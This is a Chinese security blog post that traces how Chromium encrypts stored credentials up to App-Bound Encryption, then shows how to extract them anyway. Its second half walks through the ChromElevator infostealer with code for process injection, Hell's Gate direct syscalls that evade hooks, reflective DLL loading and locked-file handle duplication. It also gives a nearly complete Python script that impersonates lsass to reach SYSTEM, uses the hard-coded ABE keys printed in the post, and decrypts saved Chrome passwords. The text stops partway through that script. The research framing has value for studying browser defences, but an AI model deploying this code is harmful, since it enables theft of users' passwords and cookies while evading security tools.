文章总结: 本文详细梳理了Chromium浏览器数据加密机制的演进历程,重点分析了Chrome80之前使用DPAPI逐条加密、Chrome80引入OSCrypt与v10密文格式,以及Chrome127推出的App-BoundEncryption(ABE)保护机制。ABE通过双层DPAPI、路径验证、信封加密和COM服务四层防御,首次从机制上阻断同用户进程的随意解密。文章还探讨了在ABE保护下通过进程注入(如chromelevator项目)或直接解密进行凭据提取的技术原理,并指出后者需管理员权限并逆向服务密钥。 综合评分: 95 文章分类: 恶意软件,逆向分析,应用安全,安全建设,漏洞分析
Chromium数据加密演进和ABE保护下的浏览器凭据提取
原创
网络保安29 网络保安29
红蓝攻防研究实验室
2026年4月30日 16:37 北京
在小说阅读器读本章
去阅读
一、Chromium 数据加密演进
Chrome 80 之前:DPAPI 逐条加密
Chrome 80 之前,浏览器对保存密码的保护方案极为简单,每条密码在写入 Login Data SQLite 数据库之前,单独调用一次 Windows CryptProtectData 进行加密。该函数属于 Windows Data Protection API(DPAPI),其底层使用一个从当前用户登录凭据派生的主密钥来保护数据,主密钥存储在 %APPDATA%\Microsoft\Protect\<用户SID>\ 目录中。
DPAPI 能保证的是不同 Windows 用户之间的隔离,用户 A 加密的数据,用户 B 无法解密,但它对同一用户身份下的进程不做任何区分。任何以用户 A 身份运行的进程都可以无障碍调用 CryptUnprotectData,解密该用户的所有 DPAPI 加密数据。因此,凭据提取在这一时期没有任何技术挑战,攻击者只需要打开数据库文件,逐条读取 password_value 字段,调用 CryptUnprotectData,即可获得全部明文密码。整个过程无需管理员权限,无需绕过任何安全机制。
当时主流 Windows 浏览器普遍采用 DPAPI 方案,因为这是微软在平台上推荐的做法。问题出在 DPAPI 的威胁模型本身,它只防跨用户访问,不防同用户进程。
Chrome 80:OSCrypt 与 v10 密文格式
Chrome 80 引入了 OSCrypt 组件,建立了两级密钥架构。浏览器在首次运行时随机生成一个 32 字节的 AES-256 密钥,作为加密所有凭据的总密钥。此后,密码、Cookie 等数据统一使用 AES-256-GCM 算法加密。密钥本身则通过 CryptProtectData 加密,经 Base64 编码后存入 Local State 配置文件的 os_crypt.encrypted_key 字段。编码后的值以 5 字节 ASCII 前缀 “DPAPI” 开头,其后为 DPAPI 密文。
加密后的用户数据以 “v10” 作为版本标识。完整格式为:3 字节 “v10” 前缀,12 字节 GCM Nonce,可变长度的 AES-256-GCM 密文,末尾 16 字节 GCM 认证标签。OSCrypt 的架构改进在于引入了标准化加密组件和 AES-256-GCM 算法,Cookie 也被纳入了加密范围。但核心问题并未解决,凭据加密密钥仍然仅受一层 DPAPI 保护,同用户进程只需一次 CryptUnprotectData 调用即可获得。与逐条 DPAPI 加密的前代相比,集中式密钥管理反而使攻击步骤更少,一次 DPAPI 解密后即可批量处理所有凭据数据。
这一时期出现了大量开源凭据提取工具,将此类攻击降低到了脚本级别。凭据提取步骤为:读取 Local State,Base64 解码 encrypted_key,去掉 “DPAPI” 前缀,CryptUnprotectData 获取 AES 密钥,再对数据库中所有 v10 数据执行 AES-256-GCM 解密。
Chrome 127:App-Bound Encryption
2024 年 7 月,Google 安全博客发文正式宣布 App-Bound Encryption(ABE)。这是 Chromium 凭据保护体系迄今为止最大规模的架构变更,首次从机制上尝试阻断同用户进程的随意解密。
ABE 引入了一个以 SYSTEM 权限运行的 COM 服务 elevation_service,随 Chrome 安装在 Program Files 目录。该服务对外暴露 IElevator 接口,提供 EncryptData 和 DecryptData 两个方法。Chrome 不再自行管理密钥加解密,而是委托给 elevation_service 执行。
加密过程中,Chrome 首先生成随机 32 字节 AES-256 密钥(app_bound_key),调用 IElevator::EncryptData 将其交给 elevation_service。服务端执行四个步骤:
1、获取调用者进程的可执行文件路径,经 MaybeTrimProcessPath 函数规范化后作为验证数据保存,该函数去掉文件名、版本号目录、Application/Temp 后缀,统一 Program Files (x86) 为 Program Files。
2、对 app_bound_key 执行信封加密(PostProcessData),使用编译时硬编码在 elevation_service.exe 中的密钥,按 flag 字段选择 AES-256-GCM、ChaCha20-Poly1305 或 NCrypt+XOR+AES-GCM 三种方案之一。
3、将验证数据与加密后的密钥拼接,先在用户上下文中执行 CryptProtectData(内层 DPAPI),再在 SYSTEM 上下文中执行 CryptProtectData(外层 DPAPI),构成双层 DPAPI 包装。
4、Base64 编码并添加”APPB” 前缀,存入 Local State 的 os_crypt.app_bound_encrypted_key 字段。
ABE 加密的数据使用 “v20” 版本前缀,格式与 v10 结构一致:3 字节 “v20″,12 字节 Nonce,AES-256-GCM 密文,16 字节认证标签。Cookie 解密结果前 32 字节为元数据头部,实际值从偏移 32 开始。
解密时,Chrome 会调用 IElevator::DecryptData,由 elevation_service 进行解密。服务端执行四个步骤:
1、先剥去外层 SYSTEM-DPAPI(仅服务自身能执行,因其以 SYSTEM 身份运行)。
2、再剥去内层用户 DPAPI(通过 ScopedClientImpersonation 模拟调用用户)。
3、随后提取验证数据,获取当前调用者进程路径,规范化后与存储路径比对,验证当前请求解密的程序和当初加密数据的程序是否一致。
4、匹配则继续解密 PostProcessData 层,最终返回明文 app_bound_key,不匹配则返回 E_ACCESSDENIED。
ABE 的四层防御——双层 DPAPI、路径验证、信封加密、COM 服务守门,使同用户进程无法再通过简单的 CryptUnprotectData 获取密钥。而且普通用户进程不具备 SYSTEM 层 DPAPI 解密所需要的令牌。
Chrome 127 的 ABE 保护范围仅覆盖 Cookie。升级后的配置文件中,旧的 v10 条目与新的 v20 条目可能共存,OSCrypt 会遍历不同密钥代理逐一尝试解密。Chrome 130 将 ABE 保护扩展到密码和支付数据(信用卡、CVC、IBAN),所有凭据类型统一纳入 ABE 体系。
Chrome 136:远程调试端口限制
Chrome 136 封堵了另外一条凭据提取路径。此前,攻击者可以使用 –remote-debugging-port 参数启动 Chrome,通过 Chrome DevTools Protocol 直接读取内存中的 Cookie,完全绕过了文件层面的加密保护。从该版本起,此参数不再适用于默认用户数据目录,必须额外指定 –user-data-dir 强制使用独立配置文件(不含用户实际凭据)。
二、ABE 保护下的凭据提取
目前网上有两个主流的凭据提取思路:进程注入和直接解密。
在 ABE 机制下,除了两层 DPAPI 保护,elevation_service 内部还对凭据的加密密钥进行了一层信封加密,只有通过 elevation_service 的路径校验,确保请求解密的进程跟当初加密的进程(chrome.exe)是同一进程,服务才会返回解密后的密钥。进程注入的方式就是为了通过这个校验,并且不需要管理员权限,因为两层 DPAPI 解密也是由 elevation_service 执行。
如果不通过 elevation_service 进行解密,而是直接自行解密,那就不需要过路径验证,但这种情况需要逆向出 elevation_service 内部的信封解密密钥。并且为了解开 system 层面的 DPAPI 加密,还需要管理员权限。
1 进程注入(普通用户权限)
这是最直接的方案,攻击者将 paylaod 注入到 chrome.exe 进程空间内,注入的代码继承 chrome.exe 的完整进程身份,调用 CoCreateInstance 获取 IElevator 接口后执行 DecryptData,路径验证通过,app_bound_key 明文返回。整个过程在用户态完成,无需管理员权限。
ChromElevator (Chrome App-Bound Encryption Decryption) 项目就是这个原理,该项目通过创建挂起进程 + 写入 paylaod 内存的方式进行注入(项目说明中 Process Hollowing 的说法不严谨),还采用了反射加载PE和直接系统调用来规避检测,下面直接对这个项目的技术原理进行剖析。
ChromElevator 采用两阶段架构设计。第一阶段是注入器程序 chromelevator.exe,它负责创建挂起的浏览器进程、将 Payload DLL 注入其中,并通过命名管道等待数据回传。第二阶段是被注入的 Payload DLL,它在浏览器进程内部运行,负责调用 COM 接口获取主密钥、读取 SQLite 数据库并执行 AES-256-GCM 解密。
注入器通过注册表查询浏览器安装路径,然后创建一个处于挂起状态的浏览器进程,再通过直接系统调用在目标进程内存中分配空间,写入加密的 Payload DLL 并创建远程线程。远程线程的入口点是 Payload DLL 中导出的 Bootstrap 函数,这个函数实现了一个完整的反射 PE 加载器,加载完成后调用 DllMain,Payload 开始执行数据提取工作,最终通过命名管道将解密结果回传给注入器。
// injector_main.cpp 中处理单个浏览器的完整提取流程void ProcessBrowser(const BrowserInfo& browser, bool verbose, bool fingerprint, bool killFirst,const std::filesystem::path& output, const Core::Console& console, GlobalStats& stats) { // 如果指定了 --kill,先终止所有该浏览器的运行中进程 if (killFirst) { BrowserTerminator terminator(console); auto termStats = terminator.KillByExeName(browser.exeName, opts); } // 以挂起状态创建浏览器进程 ProcessManager procMgr(browser); procMgr.CreateSuspended(); // 创建 IPC 命名管道,用于与注入的 payload 通信 PipeServer pipe(browser.type); pipe.Create(); // 注入 payload 到浏览器进程 PayloadInjector injector(procMgr, console); injector.Inject(pipe.GetName()); // 等待 payload 连接到管道并发送配置 pipe.WaitForClient(); pipe.SendConfig(verbose, fingerprint, output); pipe.ProcessMessages(verbose); // 终止浏览器进程 procMgr.Terminate();}// injector.cpp 中的注入流程核心void PayloadInjector::Inject(const std::wstring& pipeName) { // 解密 payload LoadAndDecryptPayload(); // 解析 Bootstrap 导出函数偏移 DWORD offset = GetExportOffset("Bootstrap"); // 通过 syscall 在目标进程分配内存 SIZE_T totalSize = payloadSize + pipeNameSize; NtAllocateVirtualMemory_syscall(m_process.GetProcessHandle(), &remoteBase, 0, &totalSize, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE); // 写入 payload 和管道名 NtWriteVirtualMemory_syscall(m_process.GetProcessHandle(), remoteBase, m_payload.data(), payloadSize, &written); NtWriteVirtualMemory_syscall(m_process.GetProcessHandle(), remotePipeName, (PVOID)pipeName.c_str(), pipeNameSize, &written); // 设置内存保护为可执行 NtProtectVirtualMemory_syscall(m_process.GetProcessHandle(), &remoteBase, &totalSize, PAGE_EXECUTE_READ, &oldProtect); // 创建远程线程,入口为 Bootstrap uintptr_t entry = reinterpret_cast<uintptr_t>(remoteBase) + offset; NtCreateThreadEx_syscall(&hThread, THREAD_ALL_ACCESS, nullptr, m_process.GetProcessHandle(), (LPTHREAD_START_ROUTINE)entry, remotePipeName, 0, 0, 0, 0, nullptr);}
ChromElevator 在注入过程中,通过 Hell’s Gate 技术实现直接系统调用,ntdll.dll 中导出的 Zw* 函数按系统服务号顺序排列,通过解析导出表、收集所有 Zw* 函数地址并按地址升序排序,排序后的数组索引即为对应的系统服务号。
// internal_api.cpp 中的 Hell's Gate SSN 解析逻辑bool InitApi(bool) { // 获取 ntdll.dll 导出表 auto pExportDir = reinterpret_cast<PIMAGE_EXPORT_DIRECTORY>( reinterpret_cast<uint8_t*>(hNtdll) + pNtHeaders->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress ); // 收集所有 Zw* 函数 std::vector<SyscallMapping> sortedSyscalls; for (DWORD i = 0; i < pExportDir->NumberOfNames; ++i) { const char* name = reinterpret_cast<const char*>( reinterpret_cast<uint8_t*>(hNtdll) + pNameRvas[i] ); if (name && name[0] == 'Z' && name[1] == 'w') { PVOID addr = reinterpret_cast<PVOID>( reinterpret_cast<uint8_t*>(hNtdll) + pAddressRvas[pOrdinalRvas[i]] ); sortedSyscalls.push_back({addr, runtime_hash(name)}); } } // 按地址排序 - SSN = 排序后的索引 std::sort(sortedSyscalls.begin(), sortedSyscalls.end(), [](const auto& a, const auto& b) { return a.address < b.address; } ); // 匹配目标函数,从排序位置获取 SSN for (WORD i = 0; i < sortedSyscalls.size(); ++i) { for (auto& target : targets) { if (sortedSyscalls[i].hash == target.hash) { PVOID gadget = FindSyscallGadget(sortedSyscalls[i].address); target.entry->pSyscallGadget = gadget; target.entry->ssn = i; // SSN = 索引位置 } } }}
找到 SSN 后定位 syscall 指令的实际地址。代码会搜索未被 Hook 的 syscall;ret 指令序列。在 x64 架构上,这个序列的字节模式是 0F 05 C3。此外还实现了 JMP Hook 检测,遇到 E9 近跳转指令时会跳过后续字节继续搜索。实际的系统调用通过汇编跳板函数执行,跳板函数负责加载 SSN 到 EAX 寄存器、映射参数寄存器、复制栈参数,最后跳转到 syscall gadget 地址。
; syscall_trampoline_x64.asm 中的 x64 Syscall 汇编跳板SyscallTrampoline PROC mov rbx, rcx ; rbx = SYSCALL_ENTRY 结构指针 mov r10, rdx ; Syscall Arg1 ← C Arg2 mov rdx, r8 ; Syscall Arg2 ← C Arg3 mov r8, r9 ; Syscall Arg3 ← C Arg4 movzx eax, word ptr [rbx+12] ; 加载 SSN mov r11, [rbx] ; 加载 gadget 地址 call r11 ; 执行 syscall; ret retSyscallTrampoline ENDP
Bootstrap 函数是反射加载的入口点,通过获取当前指令地址并向下逐字节搜索 MZ 和 PE 签名来找到 DLL 的起始位置。定位基址后,Bootstrap 通过 PEB 获取 kernel32.dll 和 ntdll.dll 的加载地址,然后使用 Hell’s Gate 解析 NtAllocateVirtualMemory 和 NtProtectVirtualMemory 的 SSN,通过直接系统调用分配新内存,然后进行 PE 映射,复制 PE 头、逐节复制代码和数据节区、处理重定位表修正绝对地址、解析导入表填充 IAT。
最后 Bootstrap 通过直接系统调用设置各节区的内存保护属性,刷新指令缓存,调用 DllMain 启动 Payload 的实际工作流程。
// bootstrap.cppextern "C" DLLEXPORT ULONG_PTR WINAPI Bootstrap(LPVOID lpParameter) { //...... // 寻找当前 DLL 基址 base = GetIp(); // 获取当前指令指针地址 while (true) { // 检查当前地址是否为MZ头 auto dos = reinterpret_cast<PIMAGE_DOS_HEADER>(base); if (dos->e_magic == IMAGE_DOS_SIGNATURE) { // MZ头找到后,进一步验证e_lfanew指向的PE头是否合法 auto nt = reinterpret_cast<PIMAGE_NT_HEADERS>(base + dos->e_lfanew); if (nt->Signature == IMAGE_NT_SIGNATURE) break; // 双重验证通过,确认为合法PE文件 } base--; // 未找到合法PE头,地址递减继续向上搜索 } // 通过 TEB 获取 PEB // 遍历PEB中的模块链表,通过哈希匹配找到kernel32和ntdll // 解析ntdll中的直接syscall入口,如果无法找到syscall gadget(syscall指令位置),则无法绕过hook,退出 // 从ntdll导出表中解析NtFlushInstructionCache,用于在修改代码段后刷新CPU指令缓存 // 通过直接syscall分配内存.....省略 // 复制PE头到新分配的内存 auto src = reinterpret_cast<BYTE*>(base); auto dst = reinterpret_cast<BYTE*>(newBaseAddr); for (DWORD i = 0; i < oldNt->OptionalHeader.SizeOfHeaders; i++) { dst[i] = src[i]; } // 复制各节区数据到新内存的对应虚拟地址 auto sec = IMAGE_FIRST_SECTION(oldNt); for (WORD i = 0; i < oldNt->FileHeader.NumberOfSections; i++) { src = reinterpret_cast<BYTE*>(base + sec[i].PointerToRawData); dst = reinterpret_cast<BYTE*>(newBaseAddr + sec[i].VirtualAddress); for (DWORD j = 0; j < sec[i].SizeOfRawData; j++) { dst[j] = src[j]; } } DWORD entryPointRva = oldNt->OptionalHeader.AddressOfEntryPoint; // 处理重定位表 ULONG_PTR delta = newBaseAddr - oldNt->OptionalHeader.ImageBase; auto relocDir = &oldNt->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC]; if (relocDir->Size > 0 && delta != 0) { auto reloc = reinterpret_cast<PIMAGE_BASE_RELOCATION>(newBaseAddr + relocDir->VirtualAddress); while (reloc->VirtualAddress) { DWORD count = (reloc->SizeOfBlock - sizeof(IMAGE_BASE_RELOCATION)) / sizeof(WORD); auto entry = reinterpret_cast<IMAGE_RELOC*>( reinterpret_cast<ULONG_PTR>(reloc) + sizeof(IMAGE_BASE_RELOCATION)); for (DWORD k = 0; k < count; k++) {#if defined(_M_X64) || defined(_M_ARM64) if (entry[k].type == IMAGE_REL_BASED_DIR64) { *reinterpret_cast<ULONG_PTR*>(newBaseAddr + reloc->VirtualAddress + entry[k].offset) += delta; }#else if (entry[k].type == IMAGE_REL_BASED_HIGHLOW) { *reinterpret_cast<DWORD*>(newBaseAddr + reloc->VirtualAddress + entry[k].offset) += static_cast<DWORD>(delta); }#endif } reloc = reinterpret_cast<PIMAGE_BASE_RELOCATION>( reinterpret_cast<ULONG_PTR>(reloc) + reloc->SizeOfBlock); } } // 处理导入表,加载依赖DLL并解析函数地址 auto importDir = &oldNt->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT]; if (importDir->Size > 0) { auto import = reinterpret_cast<PIMAGE_IMPORT_DESCRIPTOR>( newBaseAddr + importDir->VirtualAddress); while (import->Name) { char* modName = reinterpret_cast<char*>(newBaseAddr + import->Name); HINSTANCE hMod = pLoadLibraryA(modName); if (hMod) { auto origThunk = reinterpret_cast<PIMAGE_THUNK_DATA>( newBaseAddr + import->OriginalFirstThunk); auto thunk = reinterpret_cast<PIMAGE_THUNK_DATA>( newBaseAddr + import->FirstThunk); if (!origThunk) origThunk = thunk; while (origThunk->u1.AddressOfData) { FARPROC func; if (IMAGE_SNAP_BY_ORDINAL(origThunk->u1.Ordinal)) { func = pGetProcAddress(hMod, reinterpret_cast<LPCSTR>(origThunk->u1.Ordinal & 0xFFFF)); } else { auto ibn = reinterpret_cast<PIMAGE_IMPORT_BY_NAME>( newBaseAddr + origThunk->u1.AddressOfData); func = pGetProcAddress(hMod, ibn->Name); } // 将解析到的函数地址写入IAT对应位置 thunk->u1.Function = reinterpret_cast<ULONG_PTR>(func); origThunk++; thunk++; } } import++; // 移动到下一个依赖DLL } } // 用随机数据覆盖PE头,消除内存中的PE文件特征 // ...... // 设置各节区的内存保护属性 //...... // 调用 DllMian auto pDllMain = reinterpret_cast<DllMain_t>(newBaseAddr + entryPointRva); pNtFlushInstructionCache(reinterpret_cast<HANDLE>(-1), NULL, 0); pDllMain(reinterpret_cast<HINSTANCE>(newBaseAddr), DLL_PROCESS_ATTACH, lpParameter); return newBaseAddr;}
DllMian 调用后,Payload 在浏览器进程内运行,调用 IElevator COM 接口的 DecryptData 方法获取主密钥。
// elevator.cpp 中的 COM 接口调用std::vector<uint8_t> Elevator::DecryptKey(const std::vector<uint8_t> &encryptedKey,const CLSID &clsid, const IID &iid, const std::optional<IID> &iid_v2,bool isEdge, bool isAvast) { CoInitializeEx(NULL, COINIT_APARTMENTTHREADED); BSTR bstrEnc = SysAllocStringByteLen(reinterpret_cast<const char *>(encryptedKey.data()), (UINT)encryptedKey.size()); Microsoft::WRL::ComPtr<IOriginalBaseElevator> elevator; CoCreateInstance(clsid, nullptr, CLSCTX_LOCAL_SERVER, iid, &elevator); CoSetProxyBlanket(elevator.Get(), RPC_C_AUTHN_DEFAULT, RPC_C_AUTHZ_DEFAULT, COLE_DEFAULT_PRINCIPAL, RPC_C_AUTHN_LEVEL_PKT_PRIVACY, RPC_C_IMP_LEVEL_IMPERSONATE, nullptr, EOAC_DYNAMIC_CLOAKING); // 调用解密方法 elevator->DecryptData(bstrEnc, &bstrPlain, &comErr); // 返回 32 字节 AES-256 主密钥 return result;}
获取主密钥后,Payload 开始从 SQLite 数据库提取敏感数据。数据库文件可能被运行中的浏览器锁定,Payload 使用句柄复制技术解决这个问题。通过 NtQuerySystemInformation 获取系统级句柄列表,筛选浏览器进程持有的文件句柄,使用 NtDuplicateObject 复制句柄到当前进程,通过 NtReadFile 读取文件内容并创建临时副本。
// handle_duplicator.cpp 中的句柄复制逻辑std::optional<std::filesystem::path> HandleDuplicator::CopyLockedFile( const std::filesystem::path& sourcePath, const std::filesystem::path& destDir) { NtQuerySystemInformation_syscall(SystemExtendedHandleInformation, buf.data(), buf.size(), &len); for (ULONG_PTR i = 0; i < info->NumberOfHandles; ++i) { DWORD pid = static_cast<DWORD>(info->Handles[i].UniqueProcessId); if (pidSet.find(pid) != pidSet.end()) { candidates.emplace_back(pid, info->Handles[i].HandleValue); } } // 复制句柄并读取内容 NtDuplicateObject_syscall(srcProc, handleVal, myProc, &dup, 0, 0, DUP_SAME_ACCESS); NtReadFile_syscall(dup, nullptr, nullptr, nullptr, &io, data.data(), size, &offset, nullptr); std::ofstream f(temp, std::ios::binary); f.write(reinterpret_cast<const char*>(data->data()), data->size()); return temp;}
v20 格式的加密数据使用 AES-256-GCM 解密。数据格式为 3 字节前缀 “v20″、12 字节 IV、密文和 16 字节认证标签。Payload 使用 Windows CNG (Cryptography Next Generation) API 执行解密。
// aes_gcm.cpp 中的 AES-256-GCM 解密逻辑std::optional<std::vector<uint8_t>> AesGcm::Decrypt( const std::vector<uint8_t>& key, const std::vector<uint8_t>& encryptedData) { // 验证格式: v20 + IV(12) + Ciphertext + Tag(16) if (memcmp(encryptedData.data(), "v20", 3) != 0) return std::nullopt; // 初始化 CNG AES-GCM BCryptOpenAlgorithmProvider(&hAlg, BCRYPT_AES_ALGORITHM, nullptr, 0); BCryptSetProperty(hAlg, BCRYPT_CHAINING_MODE, BCRYPT_CHAIN_MODE_GCM, ...); BCryptGenerateSymmetricKey(hAlg, &hKey, nullptr, 0, key.data(), key.size(), 0); // 设置认证模式信息 BCRYPT_AUTHENTICATED_CIPHER_MODE_INFO authInfo; authInfo.pbNonce = iv; // 12 字节 IV authInfo.pbTag = tag; // 16 字节认证标签 // 解密 BCryptDecrypt(hKey, ciphertext, ctLen, &authInfo, nullptr, 0, plain.data(), plain.size(), &outLen, 0); return plain;}
2 直接解密(管理员权限)
该方法需要管理员权限,来进行 system 级别的 DPAPI 解密,并且需要逆向出 elevation_service.exe 中的硬编码密钥。
使用 IDA MCP ,让 AI 对 elevation_service.exe 程序进行逆向,获得3个硬编码密钥:
然后手动实现4层解密:两层 DPAPI 解密、一层 elevation_service 内置硬编码密钥解密、最终的 AES 解密。
脚本实现流程:
1、复制 Local State(存储加密主密钥)、Login Data(SQLite数据库,存储网站登录凭证)文件到临时目录,Chrome 运行时会锁住这些文件,避免锁冲突。
2、读取 Local State ,解析JSON,取出 os_crypt.app_bound_encrypted_key 字段,Base64解码后得到密钥blob。验证前缀是否为 “APPB”,去掉4字节前缀得到实际加密数据。
3、先模拟lsass进程获取 SYSTEM 权限(提权 SeDebugPrivilege → 找 lsass.exe → 复制其 token → 线程 impersonate),以 SYSTEM 身份调用 DPAPI 解密第一层,得到中间数据。回到用户身份,再用 DPAPI 解密第二层,得到原始密钥 blob。
4、解析密钥 blob 结构,读 header 长度和内容,读 content 长度和1字节的 flag。
flag=1:固定 AES 密钥 + GCM 模式解密
flag=2:固定 ChaCha20 密钥 + Poly1305解密
flag=3:CNG API 解密 AES 密钥 → XOR 混淆 → GCM 解密(最复杂,Chrome v20+默认用这个)
5、派生 v20 主密钥,根据 flag 分支处理。flag=3时:模拟 lsass → 调用 CNG 的 NCryptOpenStorageProvider → 打开 “Google Chromekey1” → NCryptDecrypt 解密出 AES 密钥 → 与固定 XOR key 异或去混淆 → 用结果作为 AES-256-GCM 密钥解密 ciphertext。
6、最后连接临时目录中的 Login Data 数据库,查询 logins 表的 origin_url, username_value, password_value 三列,解密每条密码,根据加密格式进行解密:
v20 前缀:用刚派生的主密钥,AES-GCM 解密(取3字节后12字节 IV,末16字节 tag)
v10/v11 前缀或未知格式:直接用 DPAPI 解密(旧版 Chrome)
以下是示例脚本,改编自 git 上获取 cookie 的开源代码:
import osimport ioimport jsonimport sqlite3import binasciiimport structimport shutilimport tempfileimport ctypesfrom Crypto.Cipher import AESimport windowsimport windows.securityimport windows.cryptoimport windows.generated_def as gdeffrom contextlib import contextmanagerdef is_admin(): try: return ctypes.windll.shell32.IsUserAnAdmin() != 0 except: return False@contextmanagerdef impersonate_lsass(): """模拟 lsass.exe 进程获取 SYSTEM 权限""" original_token = windows.current_thread.token try: windows.current_process.token.enable_privilege("SeDebugPrivilege") proc = next(p for p in windows.system.processes if p.name == "lsass.exe") lsass_token = proc.token impersonation_token = lsass_token.duplicate( type=gdef.TokenImpersonation, impersonation_level=gdef.SecurityImpersonation ) windows.current_thread.token = impersonation_token yield finally: windows.current_thread.token = original_tokendef parse_key_blob(blob_data): """解析密钥 blob 结构""" buffer = io.BytesIO(blob_data) parsed_data = {} header_len = struct.unpack('<I', buffer.read(4))[0] parsed_data['header'] = buffer.read(header_len) content_len = struct.unpack('<I', buffer.read(4))[0] assert header_len + content_len + 8 == len(blob_data) parsed_data['flag'] = buffer.read(1)[0] if parsed_data['flag'] == 1: parsed_data['iv'] = buffer.read(12) parsed_data['ciphertext'] = buffer.read(32) parsed_data['tag'] = buffer.read(16) elif parsed_data['flag'] == 2: parsed_data['iv'] = buffer.read(12) parsed_data['ciphertext'] = buffer.read(32) parsed_data['tag'] = buffer.read(16) elif parsed_data['flag'] == 3: parsed_data['encrypted_aes_key'] = buffer.read(32) parsed_data['iv'] = buffer.read(12) parsed_data['ciphertext'] = buffer.read(32) parsed_data['tag'] = buffer.read(16) else: raise ValueError(f"不支持的 flag 值: {parsed_data['flag']}") return parsed_datadef decrypt_with_cng(encrypted_data): """使用 Windows CNG API 解密数据""" ncrypt = ctypes.windll.NCRYPT hProvider = gdef.NCRYPT_PROV_HANDLE() provider_name = "Microsoft Software Key Storage Provider" status = ncrypt.NCryptOpenStorageProvider(ctypes.byref(hProvider), provider_name, 0) if status != 0: raise Exception(f"NCryptOpenStorageProvider 失败,状态码: {status}") hKey = gdef.NCRYPT_KEY_HANDLE() key_name = "Google Chromekey1" status = ncrypt.NCryptOpenKey(hProvider, ctypes.byref(hKey), key_name, 0, 0) if status != 0: ncrypt.NCryptFreeObject(hProvider) raise Exception(f"NCryptOpenKey 失败,状态码: {status}") input_buffer = (ctypes.c_ubyte * len(encrypted_data)).from_buffer_copy(encrypted_data) pcbResult = gdef.DWORD(0) # 第一次调用获取输出缓冲区大小 status = ncrypt.NCryptDecrypt( hKey, input_buffer, len(input_buffer), None, None, 0, ctypes.byref(pcbResult), 0x40 ) if status != 0: ncrypt.NCryptFreeObject(hKey) ncrypt.NCryptFreeObject(hProvider) raise Exception(f"第一次 NCryptDecrypt 失败,状态码: {status}") # 第二次调用实际解密 output_buffer = (ctypes.c_ubyte * pcbResult.value)() status = ncrypt.NCryptDecrypt( hKey, input_buffer, len(input_buffer), None, output_buffer, pcbResult.value, ctypes.byref(pcbResult), 0x40 ) ncrypt.NCryptFreeObject(hKey) ncrypt.NCryptFreeObject(hProvider) if status != 0: raise Exception(f"第二次 NCryptDecrypt 失败,状态码: {status}") return bytes(output_buffer[:pcbResult.value])def byte_xor(ba1, ba2): """字节数组异或操作""" return bytes([a ^ b for a, b in zip(ba1, ba2)])def derive_v20_master_key(parsed_data): """派生 v20 主密钥""" if parsed_data['flag'] == 1: # 使用固定的 AES 密钥 aes_key = bytes.fromhex("B31C6E241AC846728DA9C1FAC4936651CFFB944D143AB816276BCC6DA0284787") cipher = AES.new(aes_key, AES.MODE_GCM, nonce=parsed_data['iv']) return cipher.decrypt_and_verify(parsed_data['ciphertext'], parsed_data['tag']) elif parsed_data['flag'] == 2: # 使用固定的 ChaCha20 密钥 chacha20_key = bytes.fromhex("E98F37D7F4E1FA433D19304DC2258042090E2D1D7EEA7670D41F738D08729660") cipher = ChaCha20_Poly1305.new(key=chacha20_key, nonce=parsed_data['iv']) return cipher.decrypt_and_verify(parsed_data['ciphertext'], parsed_data['tag']) elif parsed_data['flag'] == 3: # 使用 CNG 解密 AES 密钥 xor_key = bytes.fromhex("CCF8A1CEC56605B8517552BA1A2D061C03A29E90274FB2FCF59BA4B75C392390") with impersonate_lsass(): decrypted_aes_key = decrypt_with_cng(parsed_data['encrypted_aes_key']) xored_aes_key = byte_xor(decrypted_aes_key, xor_key) cipher = AES.new(xored_aes_key, AES.MODE_GCM, nonce=parsed_data['iv']) return cipher.decrypt_and_verify(parsed_data['ciphertext'], parsed_data['tag']) else: raise ValueError(f"不支持的 flag 值: {parsed_data['flag']}")def decrypt_password(encrypted_password, master_key): """解密密码数据""" if not encrypted_password or len(encrypted_password) < 3: return None # 检查加密格式 if encrypted_password.startswith(b'v20'): # v20 格式: v20|IV(12字节)|密文|认证标签(16字节) if len(encrypted_password) < 3 + 12 + 16: return None iv = encrypted_password[3:3+12] ciphertext = encrypted_password[3+12:-16] tag = encrypted_password[-16:] try: cipher = AES.new(master_key, AES.MODE_GCM, nonce=iv) decrypted_data = cipher.decrypt_and_verify(ciphertext, tag) return decrypted_data.decode('utf-8') except Exception as e: print(f"解密失败: {e}") return None elif encrypted_password.startswith(b'v10') or encrypted_password.startswith(b'v11'): # 旧版格式,尝试 DPAPI 解密 try: decrypted_data = windows.crypto.dpapi.unprotect(encrypted_password) return decrypted_data.decode('utf-8') except Exception as e: print(f"DPAPI 解密失败: {e}") return None else: # 未知格式,尝试 DPAPI 解密 try: decrypted_data = windows.crypto.dpapi.unprotect(encrypted_password) return decrypted_data.decode('utf-8') except: return Nonedef main(): """主函数""" if not is_admin(): print("此脚本需要以管理员权限运行") return # Chrome 数据路径 user_profile = os.environ['USERPROFILE'] local_state_path = os.path.join(user_profile, "AppData", "Local", "Google", "Chrome", "User Data", "Local State") login_data_path = os.path.join(user_profile, "AppData", "Local", "Google", "Chrome", "User Data", "Default", "Login Data") # 创建临时目录 temp_dir = tempfile.mkdtemp() # 复制文件到临时目录,无需退出chrome temp_local_state = os.path.join(temp_dir, "local_state") temp_login_data = os.path.join(temp_dir, "login_data") shutil.copy2(local_state_path, temp_local_state) shutil.copy2(login_data_path, temp_login_data) # 读取 Local State 文件 try: with open(temp_local_state, "r", encoding="utf-8") as f: local_state = json.load(f) except Exception as e: print(f"读取 Local State 文件失败: {e}") return # 获取加密的密钥 try: app_bound_encrypted_key = local_state["os_crypt"]["app_bound_encrypted_key"] key_blob_encrypted = binascii.a2b_base64(app_bound_encrypted_key) # 检查密钥格式 if not key_blob_encrypted.startswith(b"APPB"): print("密钥格式不正确") return key_blob_encrypted = key_blob_encrypted[4:] # 移除 "APPB" 前缀 except Exception as e: print(f"解析加密密钥失败: {e}") return # 双重 DPAPI 解密 try: with impersonate_lsass(): key_blob_system_decrypted = windows.crypto.dpapi.unprotect(key_blob_encrypted) key_blob_user_decrypted = windows.crypto.dpapi.unprotect(key_blob_system_decrypted) except Exception as e: print(f"DPAPI 解密失败: {e}") return # 解析密钥 blob try: parsed_data = parse_key_blob(key_blob_user_decrypted) master_key = derive_v20_master_key(parsed_data) except Exception as e: print(f"解析密钥 